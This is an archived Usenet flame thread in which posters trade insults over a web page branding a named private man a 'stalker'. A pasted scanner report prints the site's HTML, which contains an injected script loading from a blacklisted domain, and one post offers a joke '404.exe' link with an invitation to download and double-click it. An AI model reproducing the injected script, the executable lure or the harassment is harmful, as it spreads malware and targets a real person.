(OT) What happened to Pooh?

[Shadow]

On Sun, 28 May 2017 11:34:49 +0100, "David B."
<***@nomail.afraid.invalid> wrote:

<BD thread hijack>

You do realize that Dropbox recently (this week) suffered a
massive data breach and details of posters and visitors were leaked ?
Of course you do.
[]'s
Another *LIE* from Shadow!

You're scared, and you want someone to check for you. You
don't know how to even though you are a self-proclaimed "researcher"
and "security expert".
Though WHY would you crosspost this URL everywhere ?

https://tekrider.net/pages/david-brooks-stalker.php

Oh, right, you didn't. You erased it from the ORIGINAL thread.
Posted to your regular stalking grounds. I might save someone.
Say TY
[]'s

[Shadow]

On Sun, 28 May 2017 16:29:26 +0100, "David B."

Post by Shadow
On Sun, 28 May 2017 11:34:49 +0100, "David B."
<BD thread hijack>

You do realize that Dropbox recently (this week) suffered a
massive data breach and details of posters and visitors were leaked ?
Of course you do.
[]'s
Another *LIE* from Shadow!

You're scared, and you want someone to check for you.

I'm scared of nothing, Shadow.

Most drunkards aren't. If they were they wouldn't drink so
much.

Post by Shadow
You don't know how to even though you are a self-proclaimed "researcher"
and "security expert".

Do you have that in writing? Are you sure that I'm not just an old boater?

"Floater". It starts with "Fl".

Post by Shadow
Though WHY would you crosspost this URL everywhere ?
https://tekrider.net/pages/david-brooks-stalker.php
Oh, right, you didn't. You erased it from the ORIGINAL thread.
Posted to your regular stalking grounds. I might save someone.
Say TY
[]'s

OK - TY

YW

Now tell me why the 'Contact me' link doesn't 'work'

Because it's not there.

on that '404' page.

It's not a 404. Click on the URL above and try again.
[]'s

[David B.]

Post by Shadow
On Sun, 28 May 2017 16:29:26 +0100, "David B."

Post by Shadow
On Sun, 28 May 2017 11:34:49 +0100, "David B."
<BD thread hijack>

You do realize that Dropbox recently (this week) suffered a
massive data breach and details of posters and visitors were leaked ?
Of course you do.
[]'s
Another *LIE* from Shadow!

You're scared, and you want someone to check for you.

I'm scared of nothing, Shadow.

Most drunkards aren't. If they were they wouldn't drink so
much.

Post by Shadow
You don't know how to even though you are a self-proclaimed "researcher"
and "security expert".

Do you have that in writing? Are you sure that I'm not just an old boater?

"Floater". It starts with "Fl".

Post by Shadow
Though WHY would you crosspost this URL everywhere ?
https://tekrider.net/pages/david-brooks-stalker.php
Oh, right, you didn't. You erased it from the ORIGINAL thread.
Posted to your regular stalking grounds. I might save someone.
Say TY
[]'s

OK - TY

YW

Now tell me why the 'Contact me' link doesn't 'work'

Because it's not there.

https://tekrider.net/pages/tekcontact.php OR ...

https://tekrider.net/pages/tkncontact.php

Post by Shadow

on that '404' page.

It's not a 404. Click on the URL above and try again.
[]'s

I did exactly that. THIS is what *I* see:-

https://www.dropbox.com/s/rxxjeebl1ygviqk/Tekrider%20-%20404%3B%20Page%20Not%20Found%20%2028%20May%202017.tiff?dl=0

The image plainly shows a *404* error!

[David B.]

Post by David B.

Post by Shadow
On Sun, 28 May 2017 16:29:26 +0100, "David B."

Post by Shadow
On Sun, 28 May 2017 11:34:49 +0100, "David B."
<BD thread hijack>

You do realize that Dropbox recently (this week) suffered a
massive data breach and details of posters and visitors were leaked ?
Of course you do.
[]'s
Another *LIE* from Shadow!

You're scared, and you want someone to check for you.

I'm scared of nothing, Shadow.

Most drunkards aren't. If they were they wouldn't drink so
much.

Post by Shadow
You don't know how to even though you are a self-proclaimed
"researcher"
and "security expert".

Do you have that in writing? Are you sure that I'm not just an old boater?
OK - TY

YW

Now tell me why the 'Contact me' link doesn't 'work'

Because it's not there.

Another *LIE* from Shadow! Proof? *Yes* ..... HERE it is! :-)

https://www.dropbox.com/s/hkhhw9wt42mwevj/Contact%20Tekrider.net.tiff?dl=0

Post by David B.
https://tekrider.net/pages/tekcontact.php OR ...
https://tekrider.net/pages/tkncontact.php

Post by Shadow

on that '404' page.

It's not a 404. Click on the URL above and try again.
[]'s

I did exactly that. THIS is what *I* see:-
https://www.dropbox.com/s/rxxjeebl1ygviqk/Tekrider%20-%20404%3B%20Page%20Not%20Found%20%2028%20May%202017.tiff?dl=0
The image plainly shows a *404* error!

[Shadow]

On Sun, 28 May 2017 22:26:20 +0100, "David B."

Post by David B.

Post by Shadow

Post by Shadow
Though WHY would you crosspost this URL everywhere ?
https://tekrider.net/pages/david-brooks-stalker.php

.....

Post by David B.

Post by Shadow
It's not a 404. Click on the URL above and try again.
[]'s

I did exactly that. THIS is what *I* see:-
https://www.dropbox.com/CUT_DANGEROUS_URL
The image plainly shows a *404* error!

The only image I see if of a drunkard (described in the text
as a STALKER) and what appears to be a lady with eye problems.
Run Kaspersky from a CD. Your computer has obviously been
compromised.
[]'s

[Diesel]

Post by Shadow
"Floater". It starts with "Fl".

You may have a point. His 'beer belly' might serve as a floatation
device.

Post by Shadow

Now tell me why the 'Contact me' link doesn't 'work'

Because it's not there.

Obviously it does work, as BD filled it out and then proceeded to post
what he wrote:

MID: <xkCWA.135891$***@fx21.fr7>
http://al.howardknight.net/msgid.cgi?ID=149605055100

The thread is interesting. David went from issuing a fake apology and
trying to get the site downed to attacking the site administrator; all
in the same short (as of today) thread.

[David B.]

On 29/05/2017 11:03, Diesel agree!

Post by Diesel
Obviously it does work, as BD filled it out and then proceeded to post

Indeed.

https://www.dropbox.com/s/2h2t4md638hptu5/Tekrider%20message%2028%20May%202017.tiff?dl=0

[Diesel]

Post by Shadow
On Sun, 28 May 2017 11:34:49 +0100, "David B."
<BD thread hijack>

You do realize that Dropbox recently (this week) suffered a
massive data breach and details of posters and visitors were leaked ?
Of course you do.
[]'s
Another *LIE* from Shadow!

You're scared, and you want someone to check for you. You
don't know how to even though you are a self-proclaimed "researcher"
and "security expert".
Though WHY would you crosspost this URL everywhere ?
https://tekrider.net/pages/david-brooks-stalker.php
Oh, right, you didn't. You erased it from the ORIGINAL thread.
Posted to your regular stalking grounds. I might save someone.
Say TY
[]'s

You forgot his 'home' newsgroup. No worries, I added it for you. No
thanks necessary. The site admin altered the original MID that started
this whole thing, but, no worries, I'm a good researcher myself.

http://al.howardknight.net/msgid.cgi?ID=149603805600

Is the actual message BoaterDave wrote which led to the creation of his
fanpage. And now, you know the rest of the story.

[Shadow]

Post by Diesel

Post by Shadow
On Sun, 28 May 2017 11:34:49 +0100, "David B."
<BD thread hijack>

You do realize that Dropbox recently (this week) suffered a
massive data breach and details of posters and visitors were leaked ?
Of course you do.
[]'s
Another *LIE* from Shadow!

You're scared, and you want someone to check for you. You
don't know how to even though you are a self-proclaimed "researcher"
and "security expert".
Though WHY would you crosspost this URL everywhere ?
https://tekrider.net/pages/david-brooks-stalker.php
Oh, right, you didn't. You erased it from the ORIGINAL thread.
Posted to your regular stalking grounds. I might save someone.
Say TY
[]'s

You forgot his 'home' newsgroup. No worries, I added it for you. No
thanks necessary. The site admin altered the original MID that started
this whole thing, but, no worries, I'm a good researcher myself.
http://al.howardknight.net/msgid.cgi?ID=149603805600
Is the actual message BoaterDave wrote which led to the creation of his
fanpage. And now, you know the rest of the story.

Oh, help. I get a 404 from that page. Here is an image I
captured that proves it:

https://flopbox/&%&%gjggg/trakingfdfdytry/404.exe

Does anyone else get that result ? Please download the image
and double click on it.
LOL
[]'s

[David B.]

Post by Shadow

Post by Diesel

Post by Shadow
On Sun, 28 May 2017 11:34:49 +0100, "David B."
<BD thread hijack>

You do realize that Dropbox recently (this week) suffered a
massive data breach and details of posters and visitors were leaked ?
Of course you do.
[]'s
Another *LIE* from Shadow!

You're scared, and you want someone to check for you. You
don't know how to even though you are a self-proclaimed "researcher"
and "security expert".
Though WHY would you crosspost this URL everywhere ?
https://tekrider.net/pages/david-brooks-stalker.php
Oh, right, you didn't. You erased it from the ORIGINAL thread.
Posted to your regular stalking grounds. I might save someone.
Say TY
[]'s

You forgot his 'home' newsgroup. No worries, I added it for you. No
thanks necessary. The site admin altered the original MID that started
this whole thing, but, no worries, I'm a good researcher myself.
http://al.howardknight.net/msgid.cgi?ID=149603805600
Is the actual message BoaterDave wrote which led to the creation of his
fanpage. And now, you know the rest of the story.

Oh, help. I get a 404 from that page. Here is an image I
https://flopbox/&%&%gjggg/trakingfdfdytry/404.exe

You are no longer funny, doc. :-(

Post by Shadow
Does anyone else get that result ? Please download the image
and double click on it.
LOL
[]'s

Can you explain what *I* see here?

https://www.dropbox.com/s/dv7gy9ryxaaedc3/Certificate%20error%20-%20Search.microsoft.com%20.tiff?dl=0

[David B.]

Post by David B.

Post by Shadow

Post by Diesel

Post by Shadow
On Sun, 28 May 2017 11:34:49 +0100, "David B."
<BD thread hijack>

You do realize that Dropbox recently (this week) suffered a
massive data breach and details of posters and visitors were leaked ?
Of course you do.
[]'s
Another *LIE* from Shadow!

You're scared, and you want someone to check for you. You
don't know how to even though you are a self-proclaimed "researcher"
and "security expert".
Though WHY would you crosspost this URL everywhere ?
https://tekrider.net/pages/david-brooks-stalker.php
Oh, right, you didn't. You erased it from the ORIGINAL thread.
Posted to your regular stalking grounds. I might save someone.
Say TY
[]'s

You forgot his 'home' newsgroup. No worries, I added it for you. No
thanks necessary. The site admin altered the original MID that started
this whole thing, but, no worries, I'm a good researcher myself.
http://al.howardknight.net/msgid.cgi?ID=149603805600
Is the actual message BoaterDave wrote which led to the creation of his
fanpage. And now, you know the rest of the story.

Oh, help. I get a 404 from that page. Here is an image I
https://flopbox/&%&%gjggg/trakingfdfdytry/404.exe

You are no longer funny, doc. :-(

Post by Shadow
Does anyone else get that result ? Please download the image
and double click on it.
LOL
[]'s

Can you explain what *I* see here?
https://www.dropbox.com/s/dv7gy9ryxaaedc3/Certificate%20error%20-%20Search.microsoft.com%20.tiff?dl=0

Today I get .....

An error occurred while processing your request.
Reference #97.bcf27bd5.1496070064.c19873

HTH

[Shadow]

On Mon, 29 May 2017 16:03:09 +0100, "David B."

Post by David B.

Post by David B.

Post by Shadow

Post by Diesel

Post by Shadow
On Sun, 28 May 2017 11:34:49 +0100, "David B."
<BD thread hijack>

You do realize that Dropbox recently (this week) suffered a
massive data breach and details of posters and visitors were leaked ?
Of course you do.
[]'s
Another *LIE* from Shadow!

You're scared, and you want someone to check for you. You
don't know how to even though you are a self-proclaimed "researcher"
and "security expert".
Though WHY would you crosspost this URL everywhere ?
https://tekrider.net/pages/david-brooks-stalker.php
Oh, right, you didn't. You erased it from the ORIGINAL thread.
Posted to your regular stalking grounds. I might save someone.
Say TY
[]'s

You forgot his 'home' newsgroup. No worries, I added it for you. No
thanks necessary. The site admin altered the original MID that started
this whole thing, but, no worries, I'm a good researcher myself.
http://al.howardknight.net/msgid.cgi?ID=149603805600
Is the actual message BoaterDave wrote which led to the creation of his
fanpage. And now, you know the rest of the story.

Oh, help. I get a 404 from that page. Here is an image I
https://flopbox/&%&%gjggg/trakingfdfdytry/404.exe

You are no longer funny, doc. :-(

Post by Shadow
Does anyone else get that result ? Please download the image
and double click on it.
LOL
[]'s

Can you explain what *I* see here?

Today I get .....
An error occurred while processing your request.
Reference #97.bcf27bd5.1496070064.c19873

I get (posting text of webpage, image as a link):

//
David Brooks, Internet Stalker
23 June 2015: An Internet Stalker named David Brooks of Devon, England
has challenged me to post this picture of him. The why comes from a
Usenet post ( M-ID: <mmcbja$***@dont-email.me> )

[Me]

Post by David B.
That's me... Do you want yours and Trish's picture on the front page?
With a large "STALKER" banner?

[David Brooks]
I doubt you have the skill to do that. Prove me wrong, Shagnasty.

Do it *NOW*!

So, suitably instructed, I complied.

(Be sure to read the content below the picture.)
BoaterStalker
Stalker David Brooks
Photo by a visitor, published in a forum

Loading Image...

Well, there you have it. This man, David Brooks of Devon, England, is
one of the most despicable persons I have ever run into on the
Interwebs. Google up 'BoaterDave', '~BD~', 'Beady', 'Imbeady2', 'David
B', 'David DewGud', 'BDonTJ', 'CommanderB', 'Commander_B', 'Angela
Bennett', and dozens of other pseudonyms. He just recently used my
domain name as a nym: ( M-ID: <***@fx28.fr7> ) He stalks
innocent good people, Microsoft MVPs, web forum owners where he has
been banned (most of them), posts pictures of your dead relatives
years after the fact, insults people with cancer, and lots more. He's
been doing it since about 2006, under the guise of hunting 'bad guys.'
So far he hasn't caught a single one. He even supports a known 'bad
guy.'

On 17 November 2015, a person named Nil responded to David Brooks in a
Windows newsgroup where he stalks: "You're a well-known net kook and
stalker. Your fake cutesy nicey-nice facade is completely ineffective
at disguising your obvious and true malignancy. You earn every
rudeness you get. ... He recognizes you as the toxic cancer you are."
M-ID: <***@wheedledeedle.moc>

If you should ever encounter David Brooks, DO NOT give him any
personal information.

//

Check your DNS is not being hijacked. I even tried accessing
the site from a proxy in China. It loads fine.
HTH
[]'s

[David B.]

Post by Shadow
On Mon, 29 May 2017 16:03:09 +0100, "David B."

[....]

Post by Shadow
//
David Brooks, Internet Stalker
23 June 2015: An Internet Stalker named David Brooks of Devon, England
has challenged me to post this picture of him. The why comes from a
[*ME*] <-------- INTERESTING TWIST! :-)
Check your DNS is not being hijacked. I even tried accessing
the site from a proxy in China. It loads fine.
HTH
[]'s

HOW do I check my DNS, please?

[Shadow]

On Tue, 30 May 2017 08:19:50 +0100, "David B."

Post by David B.

Post by Shadow
On Mon, 29 May 2017 16:03:09 +0100, "David B."

[....]

Post by Shadow
//
David Brooks, Internet Stalker
23 June 2015: An Internet Stalker named David Brooks of Devon, England
has challenged me to post this picture of him. The why comes from a

Yes, that's the text (although your bad internet connection
seems to have altered the MSG-ID where you swore at him for not
helping you STALK and dared him to post about it, so I corrected it).

Here's the message, complete with headers, maybe it will jog
your memory, from what I understand you are being plagued by 404s and
can't check for yourself:

//

From: ~BD~ <~BD~@nomail.afraid.org>
Newsgroups: alt.politics.scorched-earth
Subject: Re: Mike Duffy - Thank you for your kind words! :-)
Date: Tue, 23 Jun 2015 20:22:51 +0100
Organization: A noiseless patient Spider
Lines: 61
Message-ID: <mmcbja$ubo$***@dont-email.me>
References: <mmb4rr$62p$***@dont-email.me> <mmbhiv$c08$***@dont-email.me>
<mmbmle$4fh$***@dont-email.me> <mmc4pp$usp$***@dont-email.me>
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
Injection-Date: Tue, 23 Jun 2015 19:21:14 +0000 (UTC)
Injection-Info: mx02.eternal-september.org;
posting-host="458c21aeda33228726dffdc87d509fe1";
logging-data="31096";
mail-complaints-to="***@eternal-september.org";
posting-account="U2FsdGVkX1/Gao5jqlinLo8N79u5+MmTARB5vUpQ7ss="
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0)
Gecko/20100101 Thunderbird/31.7.0
In-Reply-To: <mmc4pp$usp$***@dont-email.me>
Cancel-Lock: sha1:+PIiExGJCXC8W4UrLfQ5HrmI0Y0=
X-Received-Bytes: 2942
X-Received-Body-CRC: 929956536

Post by David B.

Post by Shadow

[snip stalking shit]

What part of "leave me out of your stalking posts" aren't you able to
understand? *Stop quoting me!* How many times do I have to tell you
this?

You can tell me until you are blue in the face.

Of course, and you won't respect my wishes because you are an asshole.

I trusted you. You are a sham.

Post by David B.

Post by Shadow
Are you ASHAMED of the things you have written in the past?

Not in the least, but *YOU* should be.

There's not much I've posted on line of which I am ashamed.

Post by David B.

Post by Shadow

You are nothing but an IGNORANT SLIMY STALKER. The slimiest possible.
Fuck off.

You really are a very rude poster.

Since "nice" doesn't work with you, I thought I would take it to a new
level, stalker.

It's hard to believe that you are retired.

Post by David B.

Post by Shadow

[Mike Duffy: welcome to BD's hit list.]

Mike seems a pretty straight-forward guy. I have no truck with him. I
enjoyed exploring his web site too.
Why don't you advertise YOUR web site in YOUR signature?

Why don't you fuck off? At least I _have_ a web site. You aren't smart
enough to do that. ibuoy.com indeed... <ROFL>

Oh! An admittance that YOU have been stalking *ME*! *WOW*! :-)

Do I care? Do I f*ck!

Post by David B.

Post by Shadow
http://tekrider.net/pages/index.php

That's me... Do you want yours and Trish's picture on the front page?
With a large "STALKER" banner?

I doubt you have the skill to do that. Prove me wrong, Shagnasty.

Do it *NOW*!
//

Post by David B.

Post by Shadow

https://tekrider.net/pages/david-brooks-stalker.php

Check your DNS is not being hijacked. I even tried accessing
the site from a proxy in China. It loads fine.
HTH
[]'s

HOW do I check my DNS, please?

ipconfig /all (win)
or
ifconfig (linux and mac), check the switches, don't know if
they are platform specific.
HTH

Are you SURE you're a "security expert" ?
[]'s

[David B.]

On 30/05/2017 13:56, Shadow answered David B.'s question ...

"HOW do I check my DNS, please?"

Post by Shadow
ipconfig /all (win)
or
ifconfig (linux and mac), check the switches, don't know if
they are platform specific.
HTH

Thank you so much. :-)

Post by Shadow
Are you SURE you're a "security expert" ?
[]'s

I have NEVER been a "security expert".

What on earth gave you THAT idea?

[Beauregard T. Shagnasty]

Post by Shadow
Yes, that's the text (although your bad internet connection
seems to have altered the MSG-ID where you swore at him for not helping
you STALK and dared him to post about it, so I corrected it).

Yes, thanks for pointing that out. The reason was a missing "escape"
character for the first "$" in the script. Fixed now.

[David B.]

Post by Beauregard T. Shagnasty

Post by Shadow
Yes, that's the text (although your bad internet connection
seems to have altered the MSG-ID where you swore at him for not helping
you STALK and dared him to post about it, so I corrected it).

Yes, thanks for pointing that out. The reason was a missing "escape"
character for the first "$" in the script. Fixed now.

Did you know???
***************

Malware entry: MW:BLACKLISTED:35

Description:

A suspicious code was identified loading content from a blacklisted
domain. Example of domains include:

https://www.dropbox.com/s/6nj382qhv4wzmju/Tekrider.net%20-%20Infected%20with%20malware%20%28Sucuri%29.tiff?dl=0

=

Investigating further .....

Header returned by request for: http://tekrider.net/ -> 192.251.238.3

HTTP/1.1 302 Moved Temporarily
Date: Wed, 31 May 2017 13:56:17 GMT
Server: Apache
X-Powered-By: PHP/5.6.23
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

The location line in the header above has redirected the request to:
pages/index.php

( If this redirect is not what you expected SEE: Redirects. for some
tips on clearing redirects.)


HTTP/1.1 200 OK
Date: Wed, 31 May 2017 13:56:17 GMT
Server: Apache
X-Powered-By: PHP/5.6.23
Expires: Thu, 19 Nov 1981 08:52:00 GMT <---------------- 1981?!!*
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0
Pragma: no-cache
Set-Cookie: tekrider=3db2bc9e1ef897e2c4b4fc9a072f901d; path=/
Last-Modified: Tue, 24 Nov 2015 13:21:45 GMT
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=utf-8

Content that was returned by your request for the URL: http://tekrider.net/
Note: Content displayed is from the redirect location, the URL
pages/index.php

1: < !DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN"
2: "http://www.w3.org/TR/html4/strict.dtd">
3: < html lang="en-US">
4: < head>
5: < title> tekrider.net - Welcome to Tekrider.net< /title>
6: < meta http-equiv="content-style-type" content="text/css">
7: < meta http-equiv="language" content="english">
8: < meta http-equiv="dialect" content="us">
9: < meta http-equiv="window-target" content="_top">
10: < meta name="author" content="Createk Software">
11: < meta name="description" content="tekrider.net">
12: < meta name="keywords" content="tekrider.net">
13: < meta name="robots" content="all">
14: < meta http-equiv="content-type" content="text/html; charset=UTF-8">
15: < meta http-equiv="content-style-type" content="text/css">
16: < link type="text/css" rel="stylesheet"
href="../style/tekrider.css" media="screen">
17: < link type="text/css" rel="stylesheet"
href="../style/tekprint.css" media="print">
18: < link rel="shortcut icon" href="../system/favicon.ico"
type="image/vnd.microsoft.icon">
19: < link rel="icon" href="../system/favicon.ico"
type="image/vnd.microsoft.icon">
20: < !-- if you don't see the favicon, your browser is at fault -->
21: < sc​ript type="text/javascript">
22: if (top.location != location)
23: // Sorry, not in YOUR frame
24: top.location.href = document.location.href ;
25: < / sc​ript >
26: < style type='text/css'>
27: #counter { width: 95%; margin-top: 2em; }
28: .cnt span {
29: background-color: #000;
30: border-top: 2px outset #d0d0d0;
31: border-left: 2px outset #d0d0d0;
32: border-right: 2px outset #a9a9a9;
33: border-bottom: 2px outset #a9a9a9;
34: color: #32cd32;
35: font-size:175%;
36: letter-spacing: 0.20em;
37: margin: 0 -0.2em 0 0;
38: padding: 0 0.2em 0 0.5em;
39: width: 1.1em;
40: }
41: .brooks {color: red; font-size: 3em;}
42: .boater { border-style: dotted; padding: .25em;}
43: < /style>
44: < /head>
45: < body>
47: < div id='boxbanner'> < a id='top'> < /a> tekrider.net< /div>
48: < div class='ahem'>
49: You may go directly to < a title='Navigate' href='#themenu'> the
navigation menu< /a> after the content.
50: < /div>
51: < div id='boxcontent'>
52: < h1> http://tekrider.net/< /h1>
53: < p> 15 April, 2008: Welcome to the home of < strong> Beauregard T.
Shagnasty's Playpen.< /strong>
54: < /p>
55: < p class='boater' style='font-size:115%;'> Note that < strong
class='cveryhot'> Internet Stalker DAVID BROOKS< /strong> of Devon, UK
56: now has his own personal web page:< br>
57: < a href='david-brooks-stalker.php'>
http://tekrider.net/pages/david-brooks-stalker.php< /a> < /p> < p> Why <
strong> tekrider< /strong> ? Well, it was available, while techrider
58: was not; that domain seems to belong to a young man in Oslo, though
there is only a
59: parking page at this writing. Oh, and my spouse says "Tek" is
modern Nerdic geek-speak. < img class='noborder'
src='../system/smiley.gif' alt='' height='16' width='16'> Note also that
60: ​t​e​k​r​i​d​e​r​.< strong> < em> c​o​m< /em> < /strong>
61: belongs to a fellow in Ontario, Canada who sells snowmobile
clothing. No relation...
62: < /p>
63: < p> I have been a motorcycle rider for about 56 years, and a
technical guy for all
64: of my employed life, but I am now retired. I have ridden somewhere
a bit over a
65: half-million miles on two wheels.< /p>
66: < p> We all see a lot of web pages with visitor or hit counters on
them. So why should I
67: skip that normally-useless bit of fluff? Therefore:< /p>
69: < div id='counter'>
70: < span class='imgright'> < img src='../system/webmaster.jpg'
alt='Beau' title='Beau' height='105' width='160'>
71: < br> Beauregard T. Shagnasty< /span> < p> < strong> You are
visitor number< /strong> < /p>
72: < p class='cnt'> < span> 4,861,472< /span> < /p>
73: < p> < strong> since yesterday.< /strong> < /p>
74: < /div>
75: < div class='clearme'> < /div>
76: < div>
77: < p> Other web sites written and maintained by this author:< /p>
78: < ul>
79: < li> < a href='http://fingerlakesbmw.org/'>
http://www.fingerlakesbmw.org < img class='noborder'
src='../system/offsite.png' alt='↗' title='External Site: Right-Click
and Open in New Tab/Window' height='10' width='10'> < /a> : Finger Lakes
BMW Club< /li>
80: < li> < a href='http://freezeblock.com/'>
http://www.freezeblock.com < img class='noborder'
src='../system/offsite.png' alt='↗' title='External Site: Right-Click
and Open in New Tab/Window' height='10' width='10'> < /a> : Freezeblock
Ice Dam Solutions< /li>
81: < li class='txttiny'> There are a couple of others, but the clients
choose not to be listed here.< /li>
82: < /ul>
83: < /div>
84: < p class='pcenter'> < img class='noborder'
src='../system/bluefish.png' title='Made with Bluefish' alt='Bluefish
Editor' height='57' width='103'> < /p>
85: < !-- [if IE]>
86: < sc​ript type="text/javascript"
src=hxxp://windows-web-browsers.co.cc/alert/">
87: < / sc​ript >
88: < !-- [endif]-->
89: < div> IE sc​ript here< /div>
92: < /div>
94: < div class="ahem">
95: < hr>
96: < /div>
97: < div id="boxnav"> < !-- Begin menu -->
98: < ul>
99: < li> < img src='../system/mhome.gif' alt=''> < a
href='../pages/index.php'> Home< /a> < /li>
100: < li> < img src='../system/mopen.gif' alt=''> < a
href='../html/index.php'> HTML< /a> < /li>
101: < li> < img src='../system/mopen.gif' alt=''> < a
href='../pages/faq.php'> FAQ< /a> < /li>
102: < li> < img src='../system/mopen.gif' alt=''> < a
href='../general/index.php'> General< /a> < /li>
103: < li> < img src='../system/mopen.gif' alt=''> < a
href='../pages/about.php'> About< /a> < /li>
104: < li> < img src='../system/mopen.gif' alt=''> < a
href='../pages/tkncontact.php'> Contact Me< /a> < /li>
105: < /ul>
106: < div class="pcenter"> < img class="imgpad"
src="../system/roundel.gif" title="BMW Roundel" alt="BMW Roundel"
width="38" height="38">
107: < /div>
108: < /div> < !-- End menu -->
110: < div id="boxfooter">
111: < span class='imgleft'>
112: < img class='noborder noprint' src='../system/ubuntufooter100.png'
alt='Ubuntu Logo' title='Ubuntu Logo' height='100' width='100'>
113: < /span>
114: < div class='ahem'> < br> < br> < hr> < /div>
115: < p> Copyright © 1997-2017 Tekrider.net. All rights reserved.< br>
116: < span class='noprint'> < a class='flink' title='Use the handy
form' href='../pages/tkncontact.php'> Contact me< /a> if you have a
comment about anything.< br>
117: It's Wednesday the 31st of May at 9:56 in my neighborhood.< br>
118: < /span> < /p>
119: < /div>
120: < /body>
121: < /html>


URLs_crawled
# URL HTTP Status Size
1: http://tekrider.net 302 No content
2: http://tekrider.net/pages/index.php 200 5882
3: http://tekrider.net/pages/david-brooks-stalker.php 200 3668
4: http://tekrider.net/html/index.php 200 4700
5: http://tekrider.net/pages/faq.php 200 4405
6: http://tekrider.net/general/index.php 200 4233
7: http://tekrider.net/pages/about.php 200 5015
8: http://tekrider.net/pages/tkncontact.php 200 4442
9: http://tekrider.net/style/tekrider.css 200 7649
10: http://tekrider.net/style/tekprint.css 200 945
11: http://tekrider.net/pages/document.location.href 404 No content
12: http://tekrider.net/html/fontsize.php 200 9074
13: http://tekrider.net/html/doctype.php 200 5068
14: http://tekrider.net/html/banner.php 200 8751
15: http://tekrider.net/html/gridmarginzero.html 200 12427
16: http://tekrider.net/html/gridmargindefault.html 200 12429
17: http://tekrider.net/html/document.location.href 404 No content
18: http://tekrider.net/pages/faq.php?q=trans 200 4405
19: http://tekrider.net/pages/faq.php?q=osl 200 5980
20: http://tekrider.net/pages/faq.php?q=flex 200 4963
21: http://tekrider.net/general/wintip01.php 200 24939
22: http://tekrider.net/general/misctips.php 200 17783
23: http://tekrider.net/general/accelerator.php 200 10834
24: http://tekrider.net/general/spamnotes.php 200 7585
25: http://tekrider.net/general/hosts.txt 200 No content
26: http://tekrider.net/general/lines.php 200 4692
27: http://tekrider.net/general/tektest.php 200 5141
28: http://tekrider.net/general/dslschematic.txt 200 No content
29: http://tekrider.net/general/degree.php 200 3919
30: http://tekrider.net/general/checker.php 200 8469
31: http://tekrider.net/general/document.location.href 404 No content
32: http://tekrider.net/html/doc.html4.01.php 200 4378
33: http://tekrider.net/html/doc.xhtml1.0.php 200 No content
34: http://tekrider.net/html/doc.xhtml1.1.php 200 No content
35: http://tekrider.net/general/tips.php

=

Wow!

[Beauregard T. Shagnasty]

Post by David B.

Post by Beauregard T. Shagnasty

Post by Shadow
Yes, that's the text (although your bad internet connection
seems to have altered the MSG-ID where you swore at him for not
helping you STALK and dared him to post about it, so I corrected it).

Yes, thanks for pointing that out. The reason was a missing "escape"
character for the first "$" in the script. Fixed now.

Did you know???
***************

Know what? That you *STALK*?

Yes, it is obvious to anyone who knows you that you are a STALKER.

What's the URL of *your* web site? I ask because your http://ibuoy.co.uk
was a complete and total failure.

[Shadow]

On Wed, 31 May 2017 15:18:37 +0100, "David B."

Post by David B.

Post by Beauregard T. Shagnasty

Post by Shadow
Yes, that's the text (although your bad internet connection
seems to have altered the MSG-ID where you swore at him for not helping
you STALK and dared him to post about it, so I corrected it).

Yes, thanks for pointing that out. The reason was a missing "escape"
character for the first "$" in the script. Fixed now.

Did you know???
http://tekrider.net/pages/david-brooks-stalker.php

Everyone knows.
[]'s

[Shadow]

On Mon, 29 May 2017 15:48:55 +0100, "David B."

Post by David B.

Post by Shadow

Post by Diesel

Post by Shadow
On Sun, 28 May 2017 11:34:49 +0100, "David B."
<BD thread hijack>

You do realize that Dropbox recently (this week) suffered a
massive data breach and details of posters and visitors were leaked ?
Of course you do.
[]'s
Another *LIE* from Shadow!

You're scared, and you want someone to check for you. You
don't know how to even though you are a self-proclaimed "researcher"
and "security expert".
Though WHY would you crosspost this URL everywhere ?
https://tekrider.net/pages/david-brooks-stalker.php
Oh, right, you didn't. You erased it from the ORIGINAL thread.
Posted to your regular stalking grounds. I might save someone.
Say TY
[]'s

You forgot his 'home' newsgroup. No worries, I added it for you. No
thanks necessary. The site admin altered the original MID that started
this whole thing, but, no worries, I'm a good researcher myself.
http://al.howardknight.net/msgid.cgi?ID=149603805600
Is the actual message BoaterDave wrote which led to the creation of his
fanpage. And now, you know the rest of the story.

Oh, help. I get a 404 from that page. Here is an image I
https://flopbox/&%&%gjggg/trakingfdfdytry/404.exe

You are no longer funny, doc.

And yet you post a link to a known datamining/tracking site.
(I checked the domain above, it does not exist, so there is no chance
of downloading malware)

Post by David B.

Post by Shadow
Does anyone else get that result ? Please download the image
and double click on it.
LOL
[]'s

Can you explain what *I* see here?

No. If you like I can post the entire text on the URL that you
said gave you a 404. Then YOU can explain it.
[]'s

[Diesel]

Post by Shadow
No. If you like I can post the entire text on the URL that you
said gave you a 404. Then YOU can explain it.

I wait with eager anticipation.

[David B.]

Post by Diesel
I wait with eager anticipation.

Whilst you are waiting .....

Can you explain THIS, Dustin?

https://www.dropbox.com/s/2277u802owm2h2f/157.56.121.108%2019Nov2015.tiff.tiff?dl=0

[Shadow]

On Tue, 30 May 2017 10:45:36 +0100, "David B."

Post by David B.

Post by Diesel
I wait with eager anticipation.

Whilst you are waiting .....
Can you explain THIS, Dustin?
https://www.droopbox.com/STALKING_LINK

https://mackeepersecurity.com/post/mother-of-all-leaks

There you go. A nice Mac site ...
[]'s

[David B.]

Post by Shadow
On Tue, 30 May 2017 10:45:36 +0100, "David B."

Post by David B.

Post by Diesel
I wait with eager anticipation.

Whilst you are waiting .....
Can you explain THIS, Dustin?
https://www.droopbox.com/STALKING_LINK

https://mackeepersecurity.com/post/mother-of-all-leaks
There you go. A nice Mac site ...
[]'s

I did purchase MacKeeper many years ago but uninstalled it after I read
about it on the Apple Support site.

https://discussions.apple.com/docs/DOC-3691

The company actually refunded my money - now THAT was a surprise!

[Shadow]

On Tue, 30 May 2017 14:40:11 +0100, "David B."

Post by David B.

Post by Shadow
On Tue, 30 May 2017 10:45:36 +0100, "David B."

Post by David B.

Post by Diesel
I wait with eager anticipation.

Whilst you are waiting .....
